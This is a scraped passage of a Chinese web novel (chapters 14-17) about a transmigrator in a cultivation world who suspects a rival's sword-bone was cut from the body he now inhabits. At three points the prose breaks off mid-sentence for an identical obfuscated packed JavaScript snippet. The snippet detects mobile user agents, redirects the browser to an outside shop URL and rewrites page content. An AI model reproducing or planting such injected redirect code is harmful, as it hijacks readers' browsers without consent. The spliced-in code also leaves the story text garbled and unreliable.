林枢啧了一声:“我之前都没好意思仔细看,毕竟不是我自己的身体,我又不是变态,你以为谁都像你似的,一上来招呼都不打就把别人心里想什么都看个遍啊?一点边界感都没有。” 系统为自己辩解。 【宿主,我不是人。】 林枢嘁了一声,走到房间内的铜镜前,对着镜子在肩膀和胳膊上左捏捏右看看的,饶有兴致地跟系统讨论。 “你说他这些肌肉是怎么练的?” 【谢景阑是剑修,练剑的第一步就是练基本功,除了剑术的刺、点、崩、撩、挂、云、盘、穿这些基础剑技外,还包括武术基础的桩功、步型、腿法等,积年累月练下来身体素质肯定好,再加上淬凡境这一阶段本就是修士的煅体期,洗经伐髓的同时也会强化筋骨血肉……】 系统说话的时候,林枢转过身,回头看向铜镜,似在欣赏背肌。 镜面映照出少年人光洁有力的后背,脊线流畅,一路延伸进腰间系着的浴巾内。 从任何角度来说,这都是一具漂亮的、甚至可以说完美的男性躯体。 没有任何受过伤的痕迹。 林枢垂眸压下眼底一闪而过的沉思。 他回过身,拿起衣服穿上,随口回应系统。 “那我算是捡了个大便宜,直接接手了一具基本功扎实的身体。” 【宿主不必在意,原来那个谢景阑若是活下来,会导致此界数十亿生灵身亡,宿主是在救世,是大善之举。】 林枢轻声一笑,慢条斯理地将外衣穿上。 “我不在意,占这么大便宜我开心还来不及呢,有什么好在意的?现在谢景阑的一切都是我的,不管是他这具天资卓绝的身体、还是他的资源、他的亲人,都成了我的。” 【宿主能想明白就好。】 林枢缓缓抬眸,笑意却不达眼底。 谢景阑,听到这些话,你心里是什么滋味? 魂役的另一头很安静,从林枢被种下魂役符咒的第一天开始,另一端就一直这么安静。 很多时候除非林枢主动找谢景阑,否则魂役那头不会有任何动静。 有时候林枢甚至会忘记自己的灵魂还连接着另一个人。 谢景阑似乎只是在旁观,旁观一个异界之魂、和一个来历不明的系统,自以为是又高高在上地在谈笑间夺了他的一切。 嘴角微微拉平,林枢走出客栈,往演武场走。 连忘川经脉修复的消息被传得沸沸扬扬,林枢一路走来,几乎每个人都在谈论这件事。 回到演武场,他远远就看到乌泱泱的人群围着一个擂台。 那个擂台上的人正是连忘川,他手中拿剑,面无表情地站在台上,等待下一轮比试开始。 林枢的目光落向连忘川手上的那把剑。 阳光下,雪白的剑骨边缘反射出白光,刺目的光线直直射入他眼中,一瞬间,他的脑海中似乎响起了呜咽般的哀鸣,心跳霎时再度加快。 【宿主!】 系统的声音倏地响起。 林枢闭了闭眼,没再往连忘川那边看,他一边平复呼吸,一边往他自己下一轮比试的擂台走。 —我每次看到剑骨都会这样? 【不会,剑心受宿主控制,只要宿主守住心神,反应便不会这般强烈,多适应几次便能完全不受影响。】 林枢眉峰微拧,曲起手指,轻轻敲了敲太阳穴的位置。 方才恍惚间听到的剑骨哀鸣激得他有些头疼。 剑心与剑骨之间的感应所带来的影响这么大,倒是也不难解释原文里谢景阑为什么会做出抢夺剑骨的举动…… 系统发布的主线任务是规避原文“杀人夺宝”剧情,他之前还觉得系统专门提出来有些多此一举。 想要一个剧情不发生,正确的做法应该是直接略过不提,告诉他要做什么,而不是告诉他不要做什么。 毕竟他一个外来的,在明知原文这段剧情的前提下,没理由重蹈覆辙去抢主角手里的剑骨,这么专门说一句反倒会给他打开思路。 现在林枢终于明白了,剑心与剑骨之间存在特殊感应,系统大概是担心穿书者在这种感应的驱使下,会做出与原文谢景阑一样的事,所以才会特意列明这一任务,在一开始就划下红线。 缓缓揉着眉心,头疼总算慢慢消散,林枢的眉心一点点舒展。 可他一个冒牌货都能控制住剑心,没道理原文里真正的谢景阑会控制不住。 是剑骨太过珍贵,以至于连谢景阑都不免意动,还是有其他原因? 眼底的沉思一闪而过,过了一会儿,林枢通过魂役联系谢景阑。 “大佬,借了你的身体,我送你件礼物怎么样?” “哦?什么礼物?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074491|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢景阑的声音依旧平缓,仿佛没有听到林枢方才在客栈里说的那番挑衅之语。 林枢的语调漫不经心,一副看热闹不嫌事大的模样:“连忘川手上的剑骨,我去抢来给你,要吗?” 魂役那头很安静,谢景阑并没有立马回应他。 林枢慢悠悠地解释:“毕竟借了你的身体,我总不好白用你的,我能感觉到,你的身体很喜欢那块剑骨,就当是我给你这具身体的谢礼,我这人可是一向很知恩图报的……” “你想到了什么?” 谢景阑打断了林枢的话,慢条斯理的语调里藏着一丝难以察觉的危险。 林枢话音一顿,再一次惊叹于谢景阑的敏锐。 他以为他装得够好了。 收起所有的漫不经心,林枢直接问道:“连忘川手上那块剑骨,是不是你的?” 他问这话并不是无的放矢。 谢景阑的旧伤,系统的解释是“应该是从娘胎里带的伤”,他压根不信。 谢景阑的伤在后背,否则不能解释谢绍风和黄药师一听说他不舒服就紧张地检查他的后背。 且这伤还与筋骨有关,那日谢绍风是听到他说筋骨不舒服才反应强烈。 后背、骨、脊骨…… 连忘川的那块剑骨,偏偏恰好就是一截人体脊骨的形状。 真切感受到谢景阑这具身体对剑骨的强烈感应时,林枢脑子里倏地冒出了一个念头——那块剑骨会不会本就是谢景阑的? 这个猜测乍一想他都觉得荒诞,但顺着这个猜测,却可以解释很多事。 首先就是可以解释原文里谢景阑为什么不惜杀了连忘川也要抢夺剑骨了。 至少在林枢看来,在已经有天生剑心的情况下,一块剑骨还不足以对谢景阑有这么大的诱惑力。 其次,谢景阑之前说过,他有想杀之人。 那时林枢就疑惑,谢景阑一直在城主府闭关修炼,能跟什么人有这么大的仇? 如果是剖骨之仇,那确实足以恨到不惜杀了对方。 而原文中,谢景阑每一次出场都恨不得杀了连忘川,活像跟连忘川有血海深仇,实在有些夸张。 原来只当小说看的时候,会以为是作者为了推动剧情没有认真塑造谢景阑这个人物的行为动机,但现在林枢已经清楚,这本书是个真实存在的世界,那原文里谢景阑针对连往川的行为就解释不通了。 但这也只是林枢灵光一闪的猜测,并没有实质性的根据。 他刚才在客栈特意检查了谢景阑的后背,没有任何伤口,脊线流畅,也没有缺少一块骨头的迹象。 少了一块骨头,会一点痕迹都不留吗? 就算修真界有什么生骨秘法,那谢绍风呢?一个爱妻爱子的男人,儿子的剑骨被人剖了,他会一点反应都没有? 就算城主府自己抓不到凶手,发几个悬赏令总不成问题。 但这些天林枢在松溪城转悠时就注意到了,松溪城中的人在提到谢家少城主时,唯一的话题就是神秘,众人对谢景阑的消息所知可以说少得可怜。 如果当年发生过谢家少城主剑骨被剖这么大的事,不可能一点消息都不曾传出。 林枢甚至阴暗地想过谢绍风对谢景阑的好或许是装出来的,但这一点他之前就试探过谢景阑。 他问过谢景阑,谢绍风是不是对他特别好,那时谢景阑的回答很明确——“是”。 虽然跟谢景阑接触不多,但从谢景阑的行事作风就能看出来,这是一个极其傲气的男人,不会屑于在这种小事上编谎话。 且如果这“好”里包含了任何愧疚或是有其他目的的成分,谢景阑都不会回答得这么笃定。 所以谢绍风与谢景阑的父子情肯定是真的。 那谢绍风对谢景阑被剖剑骨一事的无动于衷就解释不通了。 林枢想不通这些疑点,加上没有证据,所以他此时这么问只是想试探一下谢景阑的反应。 15.第 15 章 魂役内安静了片刻,谢景阑轻轻地笑了一下,语气中那股子冷冽的危险褪去,变成了一种戏谑的调笑。 “是与不是,何必问我,我说了,你便信吗?” 林枢听到这个回答,突然松了口气,心情莫名有点好。 他诚实地说:“不信。” 系统和谢景阑他哪一方都不信,不过比起传销头子似的见缝插针给他洗脑的系统,谢景阑这种放任自流的态度让他觉得舒服多了。 听到他这么问,谢景阑其实大可以顺势应下,又或是说点模棱两可的话给连忘川身上泼点脏水。 但谢景阑没有,而是直接将问题抛了回来,这种避之不答,是既不屑于透露实情,也不屑于编谎话。 林枢还挺欣赏谢景阑这种行事作风的,所以虽然没能从谢景阑口中试探到消息,他的心情却不错。 至于说这种不屑里,除了谢景阑本身性格傲气外,有没有含了点看不上他能力的意思,所以才不屑于趁机拉拢他,林枢懒得去想,就算有也不在意。 就像他第一次跟谢景阑见面时想的,当别人觉得你能干时,让你干的事就会越来越多。 林枢的想法一向简单粗暴直接——只要自己过得舒坦,别人怎么想关他屁事。 他这种思维模式其实是另一种层面上的傲——不是什么人都有资格定义他,也不是什么想法都值得被他放在心上。 “既不信,便不必问。” 说这话时,谢景阑声音中的笑意褪去了一贯的捉摸不透,难得带了一点真实。 ——林枢的坦诚让他有些愉悦,这个穿书者倒是意外对他的胃口。 林枢的语气也轻松下来。 “问一问又不会少块肉,万一你要是心情好,给我透露点消息呢?我就算不信你说的,好歹也多个思考方向。” 顿了下,林枢又笑着道:“大佬,你说话要是能像你给灵石一样大方就好了。” 谢景阑意味深长:“这二者之中任你选一样如何?” 林枢想都没想:“那还是灵石吧,你说的话又不能当饭吃。” 谢景阑笑了下。 跟谢景阑聊完,林枢也走到了第二轮比试的擂台,他收起心思,专心应对接下来的大比。 至于刚才那个猜测,他会用自己的方式找到真相。 有了连忘川这个松溪城老牌名人的大新闻挡在前面,林枢这边的关注度比上一场比试时小了很多。 他淬凡境四阶的实力虽然令人震惊,但这消息对老百姓们的吸引力显然不如连忘川那充满戏剧性又跌宕起伏的天才之路。 不过关注度小不代表完全没有人关注,也不是所有人去跑去看连忘川了,还是有一小撮人守着林枢这边的擂台。 林枢打眼一瞧,发现这一撮人大都是看过他上一场比试的,而且女子占多数。 收回目光,他在心里幽幽叹了口气。 —要不把谢景阑这张脸遮起来吧。 系统疑惑。 【为什么要遮起来?】 —不遮起来怎么知道这些人是被这张脸吸引了还是被我的人格魅力吸引了? 【……】 绑定林枢才一个多月的时间,系统无语的次数已经抵得过以前绑定的所有宿主加起来的总次数了。 没等林枢继续跑火车,他第二轮比试的对手到了 这回的对手依旧是个男子,不过长相没有袁大千那么特点鲜明,长着一张大众脸,身高体型都中规中矩,手中持剑,显然也是一名剑修。 见到林枢,男子抬手抱拳:“久仰少城主大名,在下赵饮红,请少城主赐教。” 林枢挑眉:“请。” 裁判宣布比试开始,赵饮红拔出剑,率先朝林枢攻来。 灵力气息一出,林枢便知道了这人的修为境界。 淬凡境二阶初期,比上一轮的袁大千还弱些。 但林枢并没有选择上一轮那种速战速决的打法,他不仅拔出了剑,且没有急着进攻,而是游刃有余地拆解赵饮红的剑招。 擂台上剑光如虹,二人转瞬之间便过了几十招。 不懂的人看着这二人一来一回地对招,似是分不出胜负,估计会以为他们实力相当。 但只要稍微有点眼力的人就能看出来,谢少城主压根没有出招,赵饮红的剑招看似密集凌厉,却总是会被少城主轻易化解。 这场比试,二人的实力差距犹如天堑。 随着时间流逝,赵饮红的额头上渐渐冒出了细汗,呼吸急促,出招的动作也慢了下来。 不论他如何攻击,对方都能轻易将他的攻击挡下,他完全束手无策,眼前像是有着一道永远也跨不过去的鸿沟。 林枢察觉到了赵饮红的状态下滑,眉峰一扬,没再留手,手中断岳先挡下一招,随后他的手腕翻转,断岳剑在他手中快速转了一圈,剑柄一击打在赵饮红的手腕。 一声铮响,赵饮红的佩剑脱手,远远插入擂台边缘,发出声声嗡鸣,而他低头,林枢的剑柄已经抵在了他的胸口。 “你输了。”林枢说。 这一切发生得快到赵饮红反应不过来,他心头剧震,抬起手,长舒口气,朝林枢抱拳。 “多谢少城主手下留情。” 他很清楚,如果对方想的话,一开始就能直接打败他,但对方没有这么做,不仅给他留了颜面,在对招间也让他感悟颇多。 林枢收回剑,什么也没说,他还记着自己要给谢景阑打造的人设,只是高冷地略一点头。 从擂台上下来,系统不解地问。 【宿主,以你的实力完全可以一招制胜,根本不需要浪费时间跟他比这么久。】 林枢的声音懒洋洋的。 —这不是想着不能抢咱们家亲亲主角的风头么,得低调点儿。 系统甚是欣慰。 【宿主用心良苦。】 林枢轻轻勾了下嘴角。 接下来的比试林枢依旧像刚才那场一样,并不急着决出胜负,先与对手来来回回地对招,直到对手坚持不住了才出手。 一天下来林枢总共比了四场,遇到的都是淬凡境二阶的散修。 这倒不是他的运气好,而是参加大比的人里本就是散修占大多数,而二十岁以下能突破淬凡境三阶的散修少之又少,他没碰上也正常。 大比第一天只是开胃菜,目的在于快速淘汰一批人,这一天的擂台赛只要输一场就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080253|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接淘汰。 经过一天的比试,参加大比的几千名参赛者最后只剩下两百人。 这两百人里,最多的便是淬凡境二阶巅峰修为的修士,距离淬凡境三阶只差一步之遥。 另外还有零星几位运气好的淬凡境二阶后期的修士、以及十来位淬凡境三阶的修士。 依据往届传统,这些修为在松溪城大比中才算正常水平。 之所以要用“正常”这一评价,是因为这一届里有不正常的——连家连忘川和城主府谢景阑。 这二人的修为一个低到打破往届下限,一个高到突破往届上限,给这一届大比贡献了无数话题。 一时间街头巷尾,凡是说起此次松溪城大比的,都有了一套标准流程。 先是感叹一句谢少城主深藏不露,小小年纪就突破了淬凡境四阶,前途无量。 随后就会立马兴致勃勃地讨论起那连家的连忘川,这位才是话题中心最热门的人物。 不论是半年前经脉俱断从天才沦为废物的“旧热点”,还是前不久与江家小姐那轰动全城的退婚事件,又或是失踪一月后离奇出现在松溪城大比现场,还以淬凡境一阶修为越阶打败好几个淬凡境二阶的修士,每一个话题的讨论度都拉满。 今天的比试结束后,林枢回到看台,甫一出现就立马吸引了看台上所有人的注意。 此时众人看向他的目光比大比开始前要复杂得多。 大比开始前,众人对这位神秘的少城主只有探究与好奇,经过一天的比试后,看过来的视线里有嫉恨的、艳羡的、甚至是忌惮的……可谓什么情绪都有。 林枢只当没感觉到这些人的眼神,神色平静地与谢绍风见礼。 “父亲。” 谢绍风点点头,眼中流露出赞许:“今日表现不错,但万不可骄傲。” “是。”林枢说。 “少城主天资卓绝,我松溪城年轻一代无出其右,城主怎的也不多夸几句?若是老夫族中有如此出色的后辈,莫说口头夸赞了,便是族中库房中的天材地宝也任其挑选,可惜啊,我们家这些小崽子不争气。” 林枢看去,发现说话的人是陈家家主陈锦升。 这人手里拿着一把羽扇,一副温文尔雅的儒士模样,此时看向林枢的眼神笑眯眯的,似是在真心夸赞。 但他这话一出口,站在他身后的那些陈家子弟们纷纷用嫉恨的目光朝林枢看来,灼热的视线几乎要将林枢烧出一个洞。 “哎,陈兄此言差矣,”霍家家主笑眯眯地接过话,“城主许是不欲在外人面前夸赞少城主,待回到家中自会慢慢分说。” 陈锦升一脸恍然大悟的模样:“霍兄说得有理,当年少城主出生都不曾传出半点消息,直至十年后我等才知城主得有一子,更是到今日才得见少城主真容,足以看出城主对少城主的爱护,想来夸赞与奖赏定是少不了的,倒是我多嘴了。” 林枢听到这话心中突然一动。 陈锦升这话的意思是……谢景阑出生十年之后谢绍风才向外界透露他有个儿子? 为什么? 林枢想到松溪城中的人对提起谢景阑时的反应,不由又冒出个疑问——谢景阑到底为什么会这么神秘? 16.第 16 章 “陈兄与霍兄过誉了,如今大比方过一日,言奖赏还为时尚早,我观之诸位世家小友今日表现亦不错,定能在此次大比中拿个好名次。”谢绍风道。 陈锦升笑着道:“如今松溪城谁人不知少城主十五岁突破淬凡境四阶?此次大比,想来无人风采能胜过少城主。” “我看未必,”江家家主突然接话,意味深长开口,“这不是还有一人比少城主的风头更盛么?” 林枢轻轻挑了下眉。 在场众人哪个听不出江家家主这话的意思。 除了连忘川,今天比林枢风头盛的还有谁? 这位江家家主并不是林枢之前见过的江启同,而是江启同的兄长江启明。 兄弟二人关系如何林枢不清楚,但想也知道,那日连忘川在众目睽睽之下出言折辱江锦月,无异于将江家的颜面当众踩在脚下,江家家主看不惯连忘川是肯定的。 现在突然说这话,显然不会是为了夸连忘川。 果然,江家家主这话一出,在场众人的目光都不约而同地看向了一直未出声的连家家主。 连家家主的神色没有丝毫变化,淡淡开口:“一个淬凡境一阶的废物,如何能与少城主相提并论?” “连兄这话可就有失偏颇了,”江家家主立马反驳,“哪个废物能以淬凡境一阶的修为越阶打败淬凡境二阶的对手?此子若为废物,只怕天下无人敢称天才。” “江兄说得是,”陈家家主悠悠接话,“松溪城大比开办这么多届,有人能越阶打败对手一次已是罕见,忘川小友今日可是连着越阶打败了三个淬凡境二阶的修士,实力之强悍,堪比魔修啊。” “魔修”二字一出,周遭的空气仿佛都跟着静了静。 林枢轻轻眨眼。 所谓魔修,就是用魔气修炼的修士。 原文中说过,修真界有两种气,一为灵气、一为魔气。 这两种气均可修炼,但魔气暴虐嗜杀,不为天道所容,以灵气修炼才是正道。 修炼魔气的修士最高只能修炼至心灯境五阶,再往上突破就要渡雷劫,但魔气不为天道所容,魔修也不被天道承认,所以魔修是无法挨过雷劫的。 按理来说,在这种情况下,应该没人会想不开主动修魔道才对,但实际情况却不然。 这就要说到魔气暴虐嗜杀的特性所带来的另一个特点了。 ——在同等境界下,魔修的实力往往会比正常以灵气修炼的修士更强。 基于这一特点,也就不乏有人为了一时的实力提升而主动修魔道,毕竟这世上能突破窥玄境的人也是少数。 魔气暴虐嗜杀,修炼魔道的魔修也会受其影响,修炼愈深,性情就会愈发暴戾嗜血。 因此,每每有魔修现身都会伴随着一场腥风血雨,所以魔修在修真界可谓人人喊打。 五十多年前的灵魔大战结束后,修真界七大宗更是共同定下“五洲四海,见魔修必斩之”的铁律。 此时陈家家主夸连忘川的实力堪比魔修,意思倒是在夸赞,但正经修士没谁会乐意跟魔修扯上关系,这话听着也就不太好听。 静了片刻,还是江家家主接话:“若是我修真界人人都能如此子一般,何愁魔族之患不解?如今他淬凡境一阶可接连打败好几个淬凡境二阶,来年若是突破窥玄境,只怕世间无人能与之匹敌。” 江家家主说着,扭头朝连家家主拱手。 “连兄,江某在此先道一声恭喜了,来日连家飞黄腾达,万望提携小弟一二啊。” —哇哦,系统,这人是在拱火啊。 林枢听着这些老狐狸打机锋,话题中心不在他身上,他看热闹看得不亦乐乎。 连忘川经脉断了之后,跟连家家主可以说明着撕破了脸,现在江家家主说这话,祝贺是假,提醒连家家主斩草除根才是真。 —好歹毒的心啊,竟然想借刀杀人杀了咱们家亲亲主角。 林枢夸张地感叹。 系统的无机质的电子音透着冷漠。 【跳梁小丑罢了。】 林枢附和。 —说得是,咱们家主角可不是随随便便来个人就能被打败的。 连家家主还没说话,站在他身后的一个少年没沉住气,抢先开口: “哼!谁知道连忘川使了什么旁门左道的阴邪法子……” “舟儿。”连家家主冷淡打断少年的话。 少年脸色不忿,但还是听话地闭上了嘴。 林枢扫了一眼说话的少年。 —系统,这人应该就是连忘川的堂弟连忘舟吧?跟主角抢连家少主之位的那个? 【是的。】 —少年挺单纯啊,真以为人家在夸连忘川呢。 系统对待和主角有冲突的人向来不吝毒舌。 【蠢货一个。】 林枢听得有些想笑。 连家家主神色平静:“此子失踪一月有余,如今修为究竟是何情况我连家尚不清楚,暂当不起江兄这声恭喜,况且世上天才如过江之鲫,中途陨落者又不知凡几,如今他不过才淬凡境一阶修为,离窥玄境还差得远。” 江家家主闻言故作疑惑:“此子身为连家子弟,经脉修复如此大事竟未曾与族中说一声?” 连家家主摇头:“不曾,且我连家此次并未安排此子参加大比,他会出现在擂台上,我亦感到意外。” 江家家主若有所思:“按照连兄所言,此子先是离奇失踪了一月,再出现时经脉修复了不说,还接连越阶打败了好几个修为高于他的对手……连兄,非我有心挑拨,实在是此子这一系列行径确实可疑啊。” “江兄所言不无道理,”陈家家主跟着应和,对连家家主道,“连兄,你可要仔细查查,说句不中听的,万一此子经脉修复乃是暗中勾结了魔修之故,一朝不慎,可就连累整个家族了。” —这陈家的怎么也针对咱们主角?主角得罪过他吗? 林枢好奇地问。 【陈家这次参加大比的人实力都不行,突破了淬凡境三阶的人就一个,他自己家里的人弱,就看不惯主角强,他这是嫉妒。】 “连某自会查明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082930|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若真有此事,我连家绝不姑息,”连家家主说完这话,站起身,“时辰不早,连某府中尚有事务需要处理,不陪诸位,先行一步。” 他身后的一干连家人也跟着起步,一伙人施施然离开看台。 走了一个话题焦点的连家,其他三家也没再多待,与谢绍风打过招呼便一一离开。 等人都走了之后,谢绍风看向林枢,在外人面前的冷淡散去,眼中流露出关切:“今日比试下来感觉如何?” 没了那些带着面具的老狐狸在,林枢也放松多了,回答道:“儿子今日的对手修为都在淬凡境二阶,应对起来颇为轻松。” 谢绍风丝毫没觉得林枢这一点不谦虚的话有什么不对,不仅没有批评他,还轻轻笑了笑。 “我看你今日后三场比试似是有意拖延时间,这是为何?” 林枢解释:“儿子想着索性无事,便有意与人多切磋了几招。” 谢绍风点点头,话锋一转:“你今日看连忘川的比试时为何神色有异?可是看出了什么蹊跷?” 演武场上人那么多,围观连忘川比试的人更是扎堆,但在这种情况下谢绍风不仅注意到他去看了连忘川的比试,还发现了他那时状态不对。 这便宜老爹看来今天一天都在关注他啊。 林枢感叹。 他上辈子跟父母感情不深,也没跟父母一块儿生活过,还是头次体会到被亲人关注的滋味。 感叹完,他忽而对系统说道: —统,看我怎么帮咱们家主角说好话。 【宿主打算做什么?】 林枢没回答系统,而是换了副若有所思的表情,语气认真地对谢绍风道:“父亲,连忘川能越阶打败对手,并非方才江家家主他们所猜想的歪门邪道。” “哦?”谢绍风神情一肃,“你知道原因?” 林枢点头,紧紧看着谢绍风的眼睛:“剑骨,父亲,连忘川的剑上嵌着一块剑骨。” 【宿主!你不应该把剑骨的事告诉谢绍风!】 系统大声开口,带着警告。 林枢没有理会系统刺耳的声音,而是死死注意着谢绍风的表情。 如果谢景阑曾经有过剑骨,那谢绍风在听到“剑骨”二字时绝对会神色大变,甚至会直接联想到连忘川那块剑骨有可能就是谢景阑的。 毕竟剑骨又不是什么烂大街的玩意儿,世上有剑骨之人少之又少。 在松溪城这么个小地方,刚好我这边丢了一块,你那边又有了一块,哪有这么巧?所以谢绍风肯定会下意识怀疑。 林枢提起这事压根不是为了给主角说好话,而是为了试探谢绍风。 “剑骨?”谢绍风眉峰一皱,看向林枢,“你确定?” 林枢点头:“儿子身负剑心,与剑骨有所感应,今日见到连忘川的剑,发现那剑上镶嵌的骨头正是剑骨,有剑骨加持,那把剑的品阶与天阶只差一步,连忘川有此利器在手,加之他曾经的修为突破过淬凡境三阶,与寻常的淬凡境一阶修士本就不同,能够越阶打败对手,并不算稀奇。” 17.第 17 章 出乎林枢意料的是,听到这话,谢绍风扬眉,关注点却不在剑骨身上。 “剑心竟还能与剑骨有所感应?这倒是我们之前不曾了解过的,天生剑心太过稀有,为父先前翻遍城主府历代藏书,也只找到零星记载,对剑心仍是所知甚少,它的用处也只能靠你慢慢摸索……” 谢绍风叹了叹气,说到这里时突然想到什么,看向林枢。 “阑儿,再过两年太初剑宗便会开山收徒,你早做准备,届时去参加太初剑宗收徒大典,上古大宗底蕴丰厚,更有着不为外人所知的藏书典籍,若能拜入太初剑宗门下,你将来修炼之路会走得更顺,不说旁的,太初剑宗的藏书阁中定会有关于剑心的记载。” 谢绍风完全没在意剑骨,他的重点只放在谢景阑的剑心上。 林枢心中闪过疑惑。 难道他的猜测是错的?谢景阑没有过剑骨? 那谢景阑的旧伤是怎么回事? 林枢收起探究,心里疑惑,面上却丝毫没有表现出来。 “是,父亲。” 谢绍风点点头:“至于那连忘川,竟有剑骨这等机缘,倒也是他的造化,不过他如何,与我们谢家无关,连家与江家有意对付他,实情如何并不重要,阑儿,你可明白为父的意思?” 林枢明白。 重要的不是连忘川到底依靠什么手段才越阶打败别人,而是江家和连家想要他死,那他哪怕没有疑点,也“必须”有疑点。 谢绍风这话的意思也很明确,这事他们谢家不掺和。 “儿子明白。”林枢道。 谢绍风见林枢明白,也就没再过多叮嘱,而是颇为骄傲道:“那连忘川虽运气好,不知从哪得来一块剑骨,但剑骨于他而言毕竟只是一个外物,比我儿的天生剑心尚差得远,不足为惧。” 确实,林枢在心里默默想,你儿子比他牛逼多了,原著里就是你儿子把他给干死的。 不过听到这话林枢意识到一件事。 既然在谢绍风看来,有天生剑心在,连忘川手上那块剑骨算不了什么,那谢景阑的想法应该也差不多才对。 这就又回到了他一开始的疑问——原文里谢景阑到底为什么要去抢连忘川的剑骨? 从谢绍风和谢景阑的行事风格来看,这俩人都不是什么眼皮子浅的人。 父子俩聊完,没在此处多待,起身回城主府。 月出云中,华贵的马车在平坦的街道上缓缓行进。 林枢这时才搭理系统。 —为什么不能告诉谢绍风剑骨的事? 系统终于等到他问,噼里啪啦讲了一长串话。 【宿主有没有想过,谢绍风有可能会像原文里的谢景阑一样觊觎主角手中的剑骨?】 【毕竟谢绍风只有谢景阑一个儿子,万一他觉得剑骨对他儿子有用,想抢过来呢?】 【宿主,你的任务是彻底规避原文杀人夺宝这段剧情,就算动手的人不是你,谢绍风派人去抢夺剑骨也会视作任务失败。】 —你这就以小人之心度君子之腹了,你看谢绍风有抢剑骨的意思吗?人家压根没在意剑骨好不好。 【宿主,你以前不常出门,与人接触太少,所以想法太过单纯,须知有一句话叫知人知面不知心,你这次是运气好,赌对了,下次可不能再这么莽撞。】 系统连理由都给他找好了,看来他宅男娇气大少爷的人设深入统心啊。 林枢悠悠想着,故作不服气。 —我也是好心帮主角解释,你没听刚才那帮人都在恶意揣测主角没走正道么?谢绍风好歹是个城主,我替主角在谢绍风面前解释解释,没准儿谢绍风愿意帮主角呢?我帮主角说话还有错了? 【系统知道宿主是好心,只是想提醒宿主,往后做事要考虑周全。】 林枢敷衍应下。 —行行行,听你的。 回到城主府,与谢绍风道完别,林枢的脚步微顿,突然抬腿朝一个方向走。 系统冒出来提醒: 【宿主,你走错了,你的院子不是这个方向。】 “我知道,我是去找黄药师。”林枢说。 系统疑惑。 【为什么要找黄药师?宿主,你今天并没有受伤。】 “不是找他看伤,他上回给我开的药浴还挺舒服的,我想让他再给我开几贴。”林枢说着揉了揉肩。 系统沉默了片刻,颇有些无语。 【宿主,谢景阑的身体素质很强,你根本不累。】 “谁说我不累?我打了一天的架。”林枢反驳。 【宿主,谢景阑不会像你这么娇气。】 林枢一听这话反应激烈,一副被戳中短处的模样:“我泡个药浴怎么就娇气了?” 【因为宿主并不累,以谢景阑这具身体常年锻炼出的身体素质,与四个修为远低于自身的对手比试根本消耗不了多少体力,这么点运动量就要大张旗鼓的泡药浴,宿主的行为很符合娇气这一词语的定义,系统没有冤枉宿主。】 “行,”林枢冷笑,“那我娇气怎么了?我一个大少爷我不能娇气吗?我就娇气,我今天打一天架我不舒服我心累我难受我就要泡药浴!” 系统被他这理不直气也壮的态度震惊到了,它头一次遇到这么不要脸的宿主。 宕机半天,系统只叮嘱道: 【宿主请谨记不要ooc】 “我知道,不用你提醒,”林枢骂骂咧咧,“我今天本来用不着这么累,为了不抢你家主角的风头才跟那些人周旋了大半天,你竟然还说我娇气,你摸摸你的良心看是不是被你自己给吃了……” 之前还一口一个“咱们家亲亲主角”,现在一生气就成“你家主角”了,系统对林枢这幼稚的脾气感到绝望。 为了不火上浇油,它明智地没有吭声。 林枢趁机又骂了好几句。 爽了。 黄药师的院子在靠近城主府后山的位置,是整个城主府最安静清幽的地方,也是占地面积最大的,除了院子外,谢绍风还直接划了一片山头给黄药师种药。 药修在修真界地位很高,毕竟修士日常修炼或外出历练很多事都离不开丹药,一个家族能有一个供奉药修是很难得的,这也是黄药师待遇高的原因。 林枢到了之后被药童迎进会客厅,刚进去他便闻到了淡淡的草药清香,四下一看,发现从会客厅后窗往外看,正好可以看见后山山脚的一小片药田。 莹莹月华倾洒,衬得药田中的药草苍翠欲滴。 药童神色恭敬:“请少城主在此处稍坐片刻,黄老在书房,小的去通传一声。” 林枢点头:“有劳。” 药童低身离开。 坐了没多久便有侍女上茶,林枢端起来喝了一口,顿感神清气爽,他好奇地问:“这什么茶?” 没待侍女回答,黄药师的声音从门口传来。 “这是老夫培育的灵茶,今年刚采第一批,正要叫人送去给城主和少城主尝尝,不想少城主先过来了,倒是正好可以带一些回去。” 林枢见黄药师进来,起身见礼,笑着道:“黄药师竟还会做茶?” 黄药师笑了笑:“不过是些闲暇时的小爱好,打发时间罢了,不知少城主今日过来所为何事?” 林枢说道:“实不相瞒,我今日来是为了找黄药师拿药。” “可是比试所需的回灵丹用完了?”黄药师问。 林枢摇头:“非是回灵丹,而是想请黄药师再配几贴上回药浴用过的药。” 